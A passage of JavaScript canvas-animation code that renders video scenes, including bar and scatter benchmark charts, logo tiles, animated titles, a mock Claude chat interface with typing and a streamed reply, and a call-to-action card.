          ctx.strokeStyle = 'rgba(40,30,10,.06)'; ctx.lineWidth = 1.5; ctx.stroke();
          const g = S(t - r.at - .08, 6.5), bwv = Math.max(bh, bw * r.value * g);
          if (g > .002) { ctx.beginPath(); ctx.roundRect(x0, by, bwv, bh, 30); ctx.fillStyle = r.blue ? C.blue : r.dark ? C.ink3 : C.dim; ctx.fill(); }
        });
      });
      if (s.gapAt != null && s.rows.length > 1) {
        const a = s.rows[1], b = s.rows[0], gx1 = x0 + bw * a.value, gx2 = x0 + bw * b.value, by1 = rowY(1) + 30;
        const p1 = E.out(seg(t, s.gapAt, s.gapAt + .5)), p2 = E.out(seg(t, s.gapAt + .15, s.gapAt + .7)), yb = rowY(1) + 30 + bh + 50;
        alpha(ctx, p1, () => {  // ghost of the missing bar: tucked under the short bar's round end, flush with the long bar's end
          ctx.save(); const clip = new Path2D(); clip.rect(0, 0, W, 2000); clip.roundRect(x0, by1, gx1 - x0, bh, 30); ctx.clip(clip, 'evenodd');
          ctx.beginPath(); ctx.roundRect(gx1 - 30, by1, gx2 - gx1 + 30, bh, 30); ctx.fillStyle = 'rgba(37,142,255,.12)'; ctx.fill();
          ctx.setLineDash([10, 9]); ctx.strokeStyle = 'rgba(37,142,255,.7)'; ctx.lineWidth = 2.5; ctx.stroke(); ctx.setLineDash([]); ctx.restore();
          ctx.save(); ctx.setLineDash([6, 8]); ctx.strokeStyle = 'rgba(37,142,255,.7)'; ctx.lineWidth = 2.5;   // guide from the long bar's end
          ctx.beginPath(); ctx.moveTo(gx2 - 1, rowY(0) + 30 + bh + 8); ctx.lineTo(gx2 - 1, by1 - 8); ctx.stroke(); ctx.restore();
        });
        ctx.save(); ctx.strokeStyle = C.ink; ctx.lineWidth = 3; ctx.lineCap = 'round';
        for (const gx of [gx1, gx2]) { ctx.beginPath(); ctx.moveTo(gx, yb - 16); ctx.lineTo(gx, lerp(yb - 16, yb + 16, p2)); ctx.stroke(); }
        const mx = (gx1 + gx2) / 2, hw = (gx2 - gx1) / 2 * p2;
        if (p2 > 0) { ctx.beginPath(); ctx.moveTo(mx - hw, yb); ctx.lineTo(mx + hw, yb); ctx.stroke(); }
        ctx.restore();
        if (s.gapChip) { const p = S(t - s.gapChip.at, 13); if (p > .002) rise(ctx, p, 20, () => chip(ctx, mx, yb + 62, s.gapChip.text, { size: 36, h: 72 })); }
      }
    });
  },
};

const tiles = {
  draw(R, s, t) {
    const { ctx } = R, n = s.items.length, size = 250, gap = 40, x0 = W / 2 - (n * size + (n - 1) * gap) / 2, y = s.y;
    env(ctx, s, t, pin => {
      if (s.header) rise(ctx, S(t - s.header.at + (s.pre || 0), 12), 40, () => text(ctx, s.header.text, W / 2, y - 70, { size: 64, weight: 800, ls: -1.5, align: 'center' }));
      s.items.forEach((it, i) => {
        const p = S(t - it.at + (s.pre || 0), 13), x = x0 + i * (size + gap);
        if (p <= .002) return;
        rise(ctx, p, 50, () => {
          const st = it.strikeAt != null ? E.out(seg(t, it.strikeAt, it.strikeAt + .3)) : 0, off = it.strikeAt != null ? S(t - it.strikeAt - .15, 12) : 0;
          sheet(ctx, x, y, size, size, 58, { elev: 1.1 - .5 * off });
          if (isImgLogo(it.logo)) alpha(ctx, 1 - .55 * off, () => logoImg(R, ctx, it.logo, x + 45, y + 45, 160, 38, { gray: off }));
          else text(ctx, it.glyph, x + size / 2, midBase(y + size / 2, 116), { size: 116, weight: 800, ls: -3, align: 'center', color: mix(C.ink, C.ink3, off) });
          text(ctx, it.label, x + size / 2, y + size + 66, { size: 42, weight: 700, align: 'center', color: mix(C.ink2, C.ink3, off) });
          if (st > 0) {
            ctx.save(); ctx.strokeStyle = C.ink; ctx.lineWidth = 11; ctx.lineCap = 'round';
            const ax = x - 14, ay = y + size + 14, bx = x + size + 14, by = y - 14;
            ctx.beginPath(); ctx.moveTo(ax, ay); ctx.lineTo(lerp(ax, bx, st), lerp(ay, by, st)); ctx.stroke(); ctx.restore();
          }
        });
      });
    });
  },
};

const title = {
  draw(R, s, t) {
    const { ctx } = R, size = s.size || 124, ls = -size * .03, lh = size * 1.12, cy = s.y ?? 470;
    env(ctx, s, t, () => {
      s.lines.forEach((ln, li) => {
        const words = ln.text.split(' '), ws = words.map(w => measure(ctx, w, size, 800, ls)), sp = measure(ctx, ' ', size, 800, ls);
        let x = W / 2 - (ws.reduce((a, b) => a + b, 0) + sp * (words.length - 1)) / 2;
        const base = midBase(cy - (s.lines.length - 1) * lh / 2 + li * lh, size);
        words.forEach((w, i) => {
          const p = S(t - ln.at + (s.pre || 0) - i * .06, 13), isE = ln.emph && ln.emph.split(' ').includes(w);
          const col = isE ? (ln.emphAt != null ? mix(C.ink, C.blue, S(t - ln.emphAt, 14)) : C.blue) : C.ink, wx = x;
          if (p > .002) rise(ctx, p, 60, () => text(ctx, w, wx, base, { size, weight: 800, ls, color: col }));
          x += ws[i] + sp;
        });
      });
    });
  },
};

// ---- chat mock: new chat -> focus -> word-synced typing -> send -> working -> result card
const chat = {
  needs(s, t) { const r = s.result; return r && t >= r.at - .3 && t <= (s.to ?? 1e9) + .7 ? [[r.media, clipTime(t, r.at, r.offset)]] : []; },
  prep(s, R) {
    if (s._p) return s._p;
    const { ctx } = R, [X, Y, Wd, Hd] = s.rect, fs = 40, lh = 54, tw = Wd - 72 - 72 - 96;
    const lines = wrap(ctx, s.prompt.text, tw, fs, 500);
    const toks = typing(s.prompt.text, R.tl.words, s.prompt.from, s.prompt.to);
    const charAt = []; let c = 0;  // cumulative char count at the end of each token
    toks.forEach((k, i) => { c += k.tok.length + (i ? 1 : 0); charAt.push(c); });
    const lineStart = []; let acc = 0; lines.forEach(l => { lineStart.push(acc); acc += l.length + 1; });
    const hKeys = [[0, 1]];
    lines.forEach((l, i) => { if (i) { const ti = charAt.findIndex(v => v > lineStart[i]); if (ti >= 0) hKeys.push([toks[ti].start, i + 1]); } });
    hKeys.push([s.sendAt, 1]);
    const bfs = 36, blh = 48, bl0 = wrap(ctx, s.prompt.text, Wd - 180, bfs, 500), bl = bl0.length > 3 ? [...bl0.slice(0, 2), bl0[2].replace(/\s*\S*$/, '') + '…'] : bl0, bw = Math.max(...bl.map(l => measure(ctx, l, bfs, 500))) + 56, bh = bl.length * blh + 44;
    return (s._p = { X, Y, Wd, Hd, fs, lh, tw, lines, toks, charAt, lineStart, hKeys, bfs, blh, bl, bw, bh });
  },
  draw(R, s, t) {
    const { ctx } = R, P = chat.prep(s, R), { X, Y, Wd, Hd, fs, lh, lines, toks } = P;
    env(ctx, s, t, pin => rise(ctx, pin, 90, () => {
      sheet(ctx, X, Y, Wd, Hd, 40, { elev: 1.5 });
      // header
      const hy = Y + 66;
      ctx.beginPath(); ctx.arc(X + 58, hy, 11, 0, TAU); ctx.fillStyle = C.blue; ctx.fill();
      text(ctx, 'Claude', X + 82, midBase(hy, 40), { size: 40, weight: 700, ls: -.5 });
      const pr = press(t, s.newChatAt, .22);
      chip(ctx, X + Wd - 30, hy, '+ Nouveau chat', { align: 'right', size: 34, h: 70, padX: 26, fill: pr > 0 ? mix('#FCFBF8', '#E6F0FD', pr) : undefined, scale: 1 - .05 * pr, elev: .3 });
      ctx.fillStyle = C.line; ctx.fillRect(X + 30, Y + 130, Wd - 60, 1.5);
      // old conversation skeleton, swept away by "Nouveau chat"
      const old = 1 - S(t - s.newChatAt, 16);
      alpha(ctx, old, () => {
        ctx.translate(0, -40 * (1 - old));
        const bar = (x, y, w, h, c) => { ctx.beginPath(); ctx.roundRect(x, y, w, h, h / 2); ctx.fillStyle = c; ctx.fill(); };
        bar(X + Wd - 44 - 380, Y + 176, 380, 64, C.tint);
        [700, 640, 730, 420].forEach((w, i) => bar(X + 44, Y + 290 + i * 44, w, 18, '#E8E3D8'));
        bar(X + Wd - 44 - 280, Y + 500, 280, 64, C.tint);
        [720, 600, 680].forEach((w, i) => bar(X + 44, Y + 614 + i * 44, w, 18, '#E8E3D8'));
      });
      // greeting
      const gOut = S(t - s.sendAt + .05, 30), gP = S(t - s.newChatAt - .12, 12) * (1 - gOut);
      if (gP > .002) rise(ctx, Math.min(1, S(t - s.newChatAt - .12, 12)), 30, () => alpha(ctx, 1 - gOut, () => {
        ctx.translate(0, -30 * gOut);
        text(ctx, s.greeting ?? "Qu'est-ce qu'on crée ?", X + Wd / 2, Y + 420, { size: 54, weight: 700, ls: -1.2, align: 'center' });
      }));
      // composer
      const nL = track(t, P.hKeys, 20), ch = 44 + nL * lh + 40, cb = Y + Hd - 34, ct = cb - ch, cx = X + 34, cw = Wd - 68;
      const focus = S(t - s.focusAt, 20), sent = t >= s.sendAt;
      shadow(ctx, cx, ct, cw, ch, 30, 10, .06, 3);
      ctx.beginPath(); ctx.roundRect(cx, ct, cw, ch, 30); ctx.fillStyle = C.white; ctx.fill();
      ctx.strokeStyle = focus > .01 && !sent ? mix('#E3DED3', '#258EFF', focus) : C.line; ctx.lineWidth = 1.5 + 1.5 * (sent ? 0 : focus); ctx.stroke();
      let n = 0;  // revealed chars
      if (!sent) toks.forEach((k, i) => { const sp = i ? 1 : 0, d = Math.min(.26, Math.max(.08, k.end - k.start)); n += t >= k.start ? sp + Math.round(k.tok.length * clamp((t - k.start) / d)) : 0; });
      const tx = cx + 36, ty0 = ct + 44 + fs * .74;
      if (n === 0) text(ctx, sent ? 'Répondre…' : s.placeholder ?? 'Décris ta vidéo…', tx, ty0, { size: fs, weight: 500, color: C.ink3 });
      let cxr = tx, cyr = ty0;
      lines.forEach((l, i) => {
        const vis_ = clamp(n - P.lineStart[i], 0, l.length); if (vis_ <= 0) return;
        const str = l.slice(0, vis_), yy = ty0 + i * lh;
        text(ctx, str, tx, yy, { size: fs, weight: 500, color: C.ink }); cxr = tx + measure(ctx, str, fs, 500); cyr = yy;
      });
      if (focus > .01 && !sent) alpha(ctx, focus, () => { ctx.fillStyle = C.blue; ctx.fillRect(cxr + 3, cyr - fs * .8, 3.5, fs * .98); });
      const sbx = cx + cw - 32 - 34, sby = cb - 32 - 34, has = n > 0 ? 1 : 0, sp = press(t, s.sendAt, .2);
      ctx.save(); ctx.translate(sbx, sby); ctx.scale(1 - .1 * sp, 1 - .1 * sp);
      ctx.beginPath(); ctx.arc(0, 0, 34, 0, TAU); ctx.fillStyle = has ? C.blue : C.dim; ctx.fill();
      ctx.strokeStyle = C.white; ctx.lineWidth = 5; ctx.lineCap = 'round'; ctx.lineJoin = 'round';
      ctx.beginPath(); ctx.moveTo(0, 13); ctx.lineTo(0, -13); ctx.moveTo(-11, -2); ctx.lineTo(0, -13); ctx.lineTo(11, -2); ctx.stroke(); ctx.restore();
      // sent bubble travels from the composer to the thread (FLIP-style)
      if (sent) {
        const p = S(t - s.sendAt, 11), bx = X + Wd - 44 - P.bw, by = Y + 168, sc = lerp(fs / P.bfs, 1, p);
        const fy = lerp(ct, by, p), fx = lerp(tx - 28, bx, p);
        alpha(ctx, Math.min(1, p * 4), () => {
          ctx.translate(fx, fy); ctx.scale(sc, sc);
          ctx.beginPath(); ctx.roundRect(0, 0, P.bw, P.bh, 30); ctx.fillStyle = C.tint; ctx.fill();
          P.bl.forEach((l, i) => text(ctx, l, 28, 22 + P.bfs * .76 + i * P.blh + 2, { size: P.bfs, weight: 500, color: C.ink }));
        });
        const ry = by + P.bh + 50;
        const wP = S(t - s.workFrom, 13) * (s.result ? 1 - S(t - s.result.at, 18) : 1);
        alpha(ctx, wP, () => {
          ctx.beginPath(); ctx.arc(X + 56, ry, 10, 0, TAU); ctx.fillStyle = C.blue; ctx.fill();
          text(ctx, s.workText || 'Opus 5.5 crée ta vidéo', X + 80, midBase(ry, 40), { size: 40, weight: 700, color: C.ink2 });
          ctx.beginPath(); ctx.roundRect(X + 44, ry + 48, 520, 10, 5); ctx.fillStyle = C.line; ctx.fill();
          const g = E.io(seg(t, s.workFrom + .1, s.workTo));
          if (g > 0) { ctx.beginPath(); ctx.roundRect(X + 44, ry + 48, Math.max(10, 520 * g), 10, 5); ctx.fillStyle = C.blue; ctx.fill(); }
        });
        const r = s.result, rp = r ? S(t - r.at, 12) : 0;
        if (rp > .002) rise(ctx, rp, 60, () => {
          const w = Math.min(760, Wd - 112), h = w * 9 / 16, x = X + 56, y = ry + 44;
          card(R, x, y, w, h, R.frame(r.media, clipTime(t, r.at, r.offset)), { elev: 1 });
          cardLabel(ctx, x, y, r.label || 'Opus 5.5', C.blue);
        });
      }
      // pointer: springs between targets, presses on each click
      const pill = [X + Wd - 130, hy + 6], comp = [X + 360, ct + 60], send = [sbx + 6, sby + 8], rest = [X + Wd + 40, Y + Hd + 200];
      const keys = [[s.from, rest], [s.newChatAt - .6, pill], [s.focusAt - .55, comp], [s.focusAt + .5, [X + Wd - 150, Y + Hd - 260]], [s.sendAt - .6, send], [s.sendAt + .5, rest]];
      const [px, py] = track(t, keys, 9), ca = vis(t, s.from + .3, s.sendAt + .55, 10, 10);
      cursor(ctx, px, py, { alpha: ca, press: Math.max(press(t, s.newChatAt, .2), press(t, s.focusAt, .2), press(t, s.sendAt, .2)) });
    }));
  },
};

// ---- convo: a live Claude thread. The creator's lines type into blue bubbles on his own spoken words, Opus streams its
// replies word by word on its TTS clip (spec.voices), and an image reply resolves from coarse pixels. The thread
// scrolls up as it grows; every message keeps its final size from the moment it appears.
let CNOISE = null;
const convo = {
  needs(s, t) { return t > s.from - 1 && t < (s.to ?? 1e9) + 1 ? s.msgs.filter(m => m.image && t >= m.at - .4).map(m => '/p/' + m.image) : []; },
  prep(s, R) {
    if (s._p) return s._p;
    const { ctx } = R, [X, Y, Wd, Hd] = s.rect, fs = s.size || 42, lh = Math.round(fs * 1.3), gap = s.gap ?? 30, ls = -.3;
    const head = 128, top = Y + head + 34, view = Y + Hd - 36 - top, tx = 92;
    const place = (lines, wt) => lines.flatMap((l, li) => { let x = 0; return l.split(' ').map(w => { const o = { w, x, li }; x += measure(ctx, w + ' ', fs, wt, ls); return o; }); });
    let y = 0;
    const items = s.msgs.map(m => {
      let it;
      if (m.who === 'me') {
        const padX = 34, padY = 24, lines = wrap(ctx, m.text, Math.min(740, Wd - 180) - padX * 2, fs, 600, ls);
        const bw = Math.max(...lines.map(l => measure(ctx, l, fs, 600, ls))) + padX * 2, h = lines.length * lh + padY * 2 - (lh - fs) + 4;
        it = { y, h, bw, padX, padY, ws: place(lines, 600), toks: typing(m.text, R.tl.words, m.from, m.to), t0: m.from - .12 };
      } else if (m.image) it = { y, h: m.size || 560, t0: m.at };
      else {
        const lines = wrap(ctx, m.text, Wd - tx - 60, fs, 500, ls);
        it = { y, h: lines.length * lh - (lh - fs) + 8, ws: place(lines, 500), t0: m.at };
      }
      it.m = m; y += it.h + gap; return it;
    });
    const sKeys = [[-1e9, 0]];
    for (const it of items) sKeys.push([it.t0, Math.max(0, it.y + it.h - view), 9]);
    return (s._p = { X, Y, Wd, Hd, fs, lh, ls, head, top, view, tx, items, sKeys });
  },
  draw(R, s, t) {
    const { ctx } = R, P = convo.prep(s, R), { X, Y, Wd, Hd, fs, lh, ls, head, top, tx } = P;
    env(ctx, s, t, pin => rise(ctx, pin, 90, () => {
      sheet(ctx, X, Y, Wd, Hd, 40, { elev: 1.5 });
      const hy = Y + 66;
      LOGO.claude(ctx, X + 66, hy, 26, C.ink);
      text(ctx, s.title || 'Claude', X + 108, midBase(hy, 42), { size: 42, weight: 800, ls: -.6 });
      chip(ctx, X + Wd - 32, hy, s.model || 'Opus 5.5', { align: 'right', size: 34, h: 70, padX: 26, dot: C.blue, elev: .3 });
      ctx.fillStyle = C.line; ctx.fillRect(X + 30, Y + head, Wd - 60, 1.5);
      const sc = track(t, P.sKeys, 9);
      ctx.save(); ctx.beginPath(); ctx.roundRect(X, Y + head + 2, Wd, Hd - head - 2, [0, 0, 40, 40]); ctx.clip();
      ctx.translate(0, top - sc);
      for (const it of P.items) {
        const m = it.m, p = S(t - it.t0, 13);
        if (p <= .002 || it.y + it.h < sc - 40 || it.y > sc + P.view + 60) continue;
        if (m.who === 'me') rise(ctx, p, 30, () => {
          const bx = X + Wd - 36 - it.bw, by = it.y;
          shadow(ctx, bx, by, it.bw, it.h, 30, 10, .08, 3);
          ctx.beginPath(); ctx.roundRect(bx, by, it.bw, it.h, [32, 32, 10, 32]); ctx.fillStyle = C.blue; ctx.fill();
          it.ws.forEach((w, k) => {
            const q = S(t - (it.toks[k]?.start ?? it.t0), 24);
            if (q > .002) alpha(ctx, Math.min(1, q * 1.3), () => text(ctx, w.w, bx + it.padX + w.x, by + it.padY + fs * .8 + w.li * lh + (1 - q) * 10, { size: fs, weight: 600, ls, color: C.white }));
          });
        });
        else if (m.image) rise(ctx, p, 40, () => {
          const x = X + tx, y = it.y, sz = it.h, img = R.img('/p/' + m.image), q = E.io(seg(t, m.genFrom, m.sharpAt));
          sheet(ctx, x - 10, y - 10, sz + 20, sz + 20, 32, { elev: 1.1 });
          ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, sz, sz, 22); ctx.clip();
          ctx.fillStyle = '#E9E5DB'; ctx.fillRect(x, y, sz, sz);
          if (img && t >= m.genFrom) {
            const px = Math.max(1, Math.round(80 * Math.pow(1 - q, 2.2)));
            if (px <= 1) cover(ctx, img, x, y, sz, sz);
            else { const n = Math.ceil(sz / px), oc = new OffscreenCanvas(n, n); cover(oc.getContext('2d'), img, 0, 0, n, n); ctx.imageSmoothingEnabled = false; ctx.drawImage(oc, x, y, n * px, n * px); ctx.imageSmoothingEnabled = true; }
            if (!CNOISE) { CNOISE = new OffscreenCanvas(256, 256); const g = CNOISE.getContext('2d'), d = g.createImageData(256, 256); for (let i = 0; i < d.data.length; i += 4) { const v = hash(i * .37) * 255; d.data[i] = d.data[i + 1] = d.data[i + 2] = v; d.data[i + 3] = 255; } g.putImageData(d, 0, 0); }
            const na = (1 - q) * .5;
            if (na > .01) { ctx.globalAlpha = na; ctx.globalCompositeOperation = 'overlay'; const f = Math.floor(t * 30), ox = (f * 97) % 256, oy = (f * 61) % 256; for (let yy = y - oy; yy < y + sz; yy += 256) for (let xx = x - ox; xx < x + sz; xx += 256) ctx.drawImage(CNOISE, xx, yy); ctx.globalAlpha = 1; ctx.globalCompositeOperation = 'source-over'; }
            const fl = t >= m.sharpAt ? Math.exp(-(t - m.sharpAt) * 5) : 0;
            if (fl > .01) { ctx.fillStyle = `rgba(255,255,255,${fl * .7})`; ctx.fillRect(x, y, sz, sz); }
          }
          ctx.restore();
          const gp = vis(t, m.at + .1, m.sharpAt + .15, 14, 14);
          if (gp > .002) chip(ctx, x + 24, y + sz - 54, `${m.label || 'Dessin'} · ${Math.round(q * 100)} %`, { align: 'left', size: 34, h: 70, padX: 26, alpha: gp, elev: .5 });
        });
        else {
          alpha(ctx, Math.min(1, p * 1.4), () => LOGO.claude(ctx, X + 56, it.y + fs * .45, 20, C.ink));
          it.ws.forEach((w, k) => {
            const q = S(t - m.at - (m.offs?.[k] ?? k * .18), 22);
            if (q > .002) alpha(ctx, Math.min(1, q * 1.3), () => text(ctx, w.w, X + tx + w.x, it.y + fs * .8 + w.li * lh + (1 - q) * 10, { size: fs, weight: 500, ls, color: C.ink }));
          });
        }
      }
      ctx.restore();
    }));
  },
};

// ---- scatter: benchmark chart (e.g. intelligence vs cost). Axes grow in, points land one by one, then a
// vertical bracket (dy) and a horizontal bracket (dx) measure the gap between a reference point and a challenger.
const scatter = {
  draw(R, s, t) {
    const { ctx } = R, P = s.plot || {}, px0 = P.x0 ?? 170, px1 = P.x1 ?? 960, py0 = P.y0 ?? 420, py1 = py0 + (P.h ?? 680);
    const [xa, xb] = s.xRange, [ya, yb] = s.yRange;
    const lx = v => s.xLog ? Math.log(v) : v;   // xLog: log-scale cost axis, like Artificial Analysis
    const X = v => px0 + (lx(v) - lx(xa)) / (lx(xb) - lx(xa)) * (px1 - px0), Y = v => py1 - (v - ya) / (yb - ya) * (py1 - py0);
    const col = c => c === 'blue' ? C.blue : c === 'ink' ? C.ink : C.ink3;
    env(ctx, s, t, pin => {
      if (s.header) rise(ctx, S(t - s.header.at, 12), 40, () => text(ctx, s.header.text, W / 2, 240, { size: 64, weight: 800, ls: -1.8, align: 'center' }));
      if (s.sub) rise(ctx, S(t - s.sub.at, 12), 30, () => text(ctx, s.sub.text, W / 2, 300, { size: 34, weight: 600, color: C.ink2, align: 'center' }));
      // axes + grid
      const g = E.out(seg(t, s.from + .05, s.from + .6)), ga = S(t - s.from - .15, 12);
      alpha(ctx, ga, () => {
        (s.yTicks || []).forEach(v => {
          ctx.fillStyle = 'rgba(40,30,10,.07)'; ctx.fillRect(px0, Y(v) - 1, (px1 - px0) * g, 2);
          text(ctx, String(v), px0 - 22, midBase(Y(v), 34), { size: 34, weight: 600, color: C.ink3, align: 'right' });
        });
        (s.xTicks || []).forEach(v => text(ctx, (s.xPrefix || '') + v + (s.xSuffix || ''), X(v), py1 + 54, { size: 34, weight: 600, color: C.ink3, align: 'center' }));
        if (s.yLabel) text(ctx, s.yLabel, px0 - 80, py0 - 34, { size: 34, weight: 700, color: C.ink2 });
        if (s.xLabel) text(ctx, s.xLabel, px1, py1 + 118, { size: 34, weight: 700, color: C.ink2, align: 'right' });
      });
      ctx.save(); ctx.strokeStyle = C.ink; ctx.lineWidth = 3; ctx.lineCap = 'round';
      ctx.beginPath(); ctx.moveTo(px0, py1); ctx.lineTo(px0, lerp(py1, py0 - 10, g)); ctx.moveTo(px0, py1); ctx.lineTo(lerp(px0, px1 + 10, g), py1); ctx.stroke(); ctx.restore();
      // brackets (behind the points)
      const pts = s.points, ref = pts[s.ref ?? 0], vs = pts[s.vs ?? 1];
      const rx = X(ref.x), ry = Y(ref.y), vx = X(vs.x), vy = Y(vs.y);
      if (s.dyAt != null) {
        const bx = Math.max(rx, vx) + 50, p0 = E.out(seg(t, s.dyAt, s.dyAt + .45)), p1 = E.out(seg(t, s.dyAt + .15, s.dyAt + .6));
        ctx.save(); ctx.setLineDash([10, 9]); ctx.strokeStyle = 'rgba(37,142,255,.6)'; ctx.lineWidth = 2.5;
        if (p0 > 0) { ctx.beginPath(); ctx.moveTo(rx + 20, ry); ctx.lineTo(lerp(rx + 20, bx + 16, p0), ry); ctx.stroke(); }
        ctx.setLineDash([]); ctx.strokeStyle = C.ink; ctx.lineWidth = 3; ctx.lineCap = 'round';
        for (const yy of [ry, vy]) if (p1 > 0) { ctx.beginPath(); ctx.moveTo(bx - 14, yy); ctx.lineTo(bx - 14 + 28 * p1, yy); ctx.stroke(); }
        const my = (ry + vy) / 2, hh = (vy - ry) / 2 * p1;
        if (p1 > 0) { ctx.beginPath(); ctx.moveTo(bx, my - hh); ctx.lineTo(bx, my + hh); ctx.stroke(); }
        ctx.restore();
        if (s.dyChip) { const p = S(t - s.dyChip.at, 13); if (p > .002) rise(ctx, p, 20, () => chip(ctx, bx + 26, my, s.dyChip.text, { align: 'left', size: 36, h: 72, padX: 24 })); }
      }
      if (s.dxAt != null) {
        const by = Math.max(ry, vy) + 90, p1 = E.out(seg(t, s.dxAt, s.dxAt + .5)), x1 = Math.min(rx, vx), x2 = Math.max(rx, vx);
        ctx.save(); ctx.strokeStyle = C.ink; ctx.lineWidth = 3; ctx.lineCap = 'round';
        for (const xx of [x1, x2]) { ctx.beginPath(); ctx.moveTo(xx, by - 16); ctx.lineTo(xx, lerp(by - 16, by + 16, p1)); ctx.stroke(); }
        const mx = (x1 + x2) / 2, hw = (x2 - x1) / 2 * p1;
        if (p1 > 0) { ctx.beginPath(); ctx.moveTo(mx - hw, by); ctx.lineTo(mx + hw, by); ctx.stroke(); }
        ctx.restore();
        if (s.dxChip) { const p = S(t - s.dxChip.at, 13); if (p > .002) rise(ctx, p, 20, () => chip(ctx, mx, by + 62, s.dxChip.text, { size: 36, h: 72, padX: 24 })); }
      }
      // arrows (behind the points): a jump from one model to another, with a fixed-size delta card
      (s.arrows || []).forEach(ar => {
        const A = pts[ar.pair[0]], B = pts[ar.pair[1]], ax = X(A.x), ay = Y(A.y), bx = X(B.x), by = Y(B.y);
        const d = Math.hypot(bx - ax, by - ay), ux = (bx - ax) / d, uy = (by - ay) / d, p = E.out(seg(t, ar.at, ar.at + .55));
        if (p > .002) {
          const x0 = ax + ux * 30, y0 = ay + uy * 30, L = (d - 62) * p, ex = x0 + ux * L, ey = y0 + uy * L;
          ctx.save(); ctx.strokeStyle = C.blue; ctx.fillStyle = C.blue; ctx.lineWidth = 7; ctx.lineCap = 'round'; ctx.lineJoin = 'round';
          ctx.beginPath(); ctx.moveTo(x0, y0); ctx.lineTo(ex - ux * 14, ey - uy * 14); ctx.stroke();
          const hs = 30 * Math.min(1, p * 1.6);
          ctx.beginPath(); ctx.moveTo(ex, ey); ctx.lineTo(ex - ux * hs - uy * hs * .55, ey - uy * hs + ux * hs * .55); ctx.lineTo(ex - ux * hs + uy * hs * .55, ey - uy * hs - ux * hs * .55); ctx.closePath(); ctx.fill();
          ctx.restore();
        }
        if (!ar.card) return;
        const c = ar.card, pc = S(t - c.at, 13); if (pc <= .002) return;
        const cw = c.w || 210, ch = c.h || 128, cx = (ax + bx) / 2 + (c.dx || 0), cy = (ay + by) / 2 + (c.dy || 0), left = c.align === 'right' ? cx - cw : cx;
        rise(ctx, pc, 20, () => {
          shadow(ctx, left, cy - ch / 2, cw, ch, 22, 24, .12, 6);
          ctx.beginPath(); ctx.roundRect(left, cy - ch / 2, cw, ch, 22); ctx.fillStyle = C.sheet; ctx.fill(); ctx.strokeStyle = C.blue; ctx.lineWidth = 3; ctx.stroke();
          text(ctx, c.text, left + cw / 2, cy - 10, { size: 40, weight: 800, ls: -1, color: C.blue, align: 'center' });
          if (c.sub) { const ps = S(t - c.sub.at, 13); if (ps > .002) rise(ctx, ps, 10, () => text(ctx, c.sub.text, left + cw / 2, cy + 40, { size: 34, weight: 700, color: C.ink2, align: 'center' })); }
        });
      });
      // points + labels (a point without label is a small grey context dot)
      pts.forEach(pt => {
        const p = S(t - pt.at, 13); if (p <= .002) return;
        if (!pt.label) { alpha(ctx, Math.min(1, p * 1.4) * .6, () => { ctx.beginPath(); ctx.arc(X(pt.x), Y(pt.y), 11 * (.4 + .6 * p), 0, TAU); ctx.fillStyle = C.ink3; ctx.fill(); }); return; }
        const x = X(pt.x), y = Y(pt.y), big = pt.color !== 'gray', r = (big ? 17 : 13) * (.4 + .6 * p), c = col(pt.color);
        alpha(ctx, Math.min(1, p * 1.4), () => {
          ctx.beginPath(); ctx.arc(x, y, r + 5, 0, TAU); ctx.fillStyle = C.sheet; ctx.fill();
          ctx.beginPath(); ctx.arc(x, y, r, 0, TAU); ctx.fillStyle = c; ctx.fill();
        });
        const left = pt.side === 'left', tx = x + (left ? -34 : 34) + (pt.dx || 0), ty = y + (pt.dy || 0), al = left ? 'right' : 'left', ns = big ? 44 : 38;
        rise(ctx, S(t - pt.at - .08, 13), 16, () => {
          text(ctx, pt.label, tx, ty + (pt.sub ? -4 : ns * .36), { size: ns, weight: 800, ls: -.8, color: pt.color === 'blue' ? C.blue : big ? C.ink : C.ink2, align: al, halo: 10 });
          if (pt.sub) text(ctx, pt.sub, tx, ty + 42, { size: 34, weight: 600, color: C.ink2, align: al, halo: 10 });
        });
      });
      if (s.ringAt != null) {
        const p = S(t - s.ringAt, 12);
        alpha(ctx, p, () => { ctx.beginPath(); ctx.arc(rx, ry, 30 + 12 * (1 - p), 0, TAU); ctx.strokeStyle = C.blue; ctx.lineWidth = 4.5; ctx.stroke(); });
      }
    });
  },
};

const chipScene = {
  draw(R, s, t) {
    const { ctx } = R;
    env(ctx, s, t, pin => rise(ctx, pin, 30, () => chip(ctx, W / 2, s.y, s.text, { size: s.size || 44, h: (s.size || 44) * 2, fill: s.blue ? C.blue : undefined, color: s.blue ? C.white : C.ink, border: !s.blue })));
  },
};

const cta = {
  // avatar: 'assets/images/mascot-avatar.jpg' replaces the face cropped from the camera (faceless styles)
  needs(s, t) { return s.avatar && t >= s.from - 1.5 && t <= (s.to ?? 1e9) + 1 ? ['/p/' + s.avatar] : []; },
  draw(R, s, t) {
    const { ctx } = R, w = 840, h = 196, x = W / 2 - w / 2 - 30, y = s.y - h / 2;
    env(ctx, s, t, pin => rise(ctx, pin, 90, () => {
      sheet(ctx, x, y, w, h, 48, { elev: 1.8 });
      const ax = x + 38 + 62, ay = y + h / 2;
      ctx.save(); ctx.beginPath(); ctx.arc(ax, ay, 62, 0, TAU); ctx.clip();
      const e = R.spec.cam?.eyes || [600, 400], av = s.avatar && R.img('/p/' + s.avatar);
      if (av) ctx.drawImage(av, ax - 62, ay - 62, 124, 124);
      else if (R.cam && !s.avatar) ctx.drawImage(R.cam, e[0] - 250, e[1] - 210, 500, 500, ax - 62, ay - 62, 124, 124); ctx.restore();
      ctx.beginPath(); ctx.arc(ax, ay, 62, 0, TAU); ctx.strokeStyle = 'rgba(20,22,27,.08)'; ctx.lineWidth = 2; ctx.stroke();
      // a long name or sub shrinks to stay clear of the button (short legacy texts keep 48 / 36)
      const room = w - 34 - (measure(ctx, s.button, 38, 700) + 64) - 190 - 14, fit = (str, size, wt, min) => Math.max(min, Math.min(size, size * room / Math.max(1, measure(ctx, str, size, wt))));
      text(ctx, s.name, x + 190, y + 86, { size: fit(s.name, 48, 800, 34), weight: 800, ls: -.8 });
      text(ctx, s.sub, x + 190, y + 138, { size: fit(s.sub, 36, 600, 26), weight: 600, color: C.ink2 });
      const d = S(t - s.clickAt, 16), pr = press(t, s.clickAt, .2);
      const w1 = measure(ctx, s.button, 38, 700) + 64, w2 = measure(ctx, s.done, 38, 700) + 64 + 40, bw = lerp(w1, w2, d), bx = x + w - 34 - bw, bh = 86;
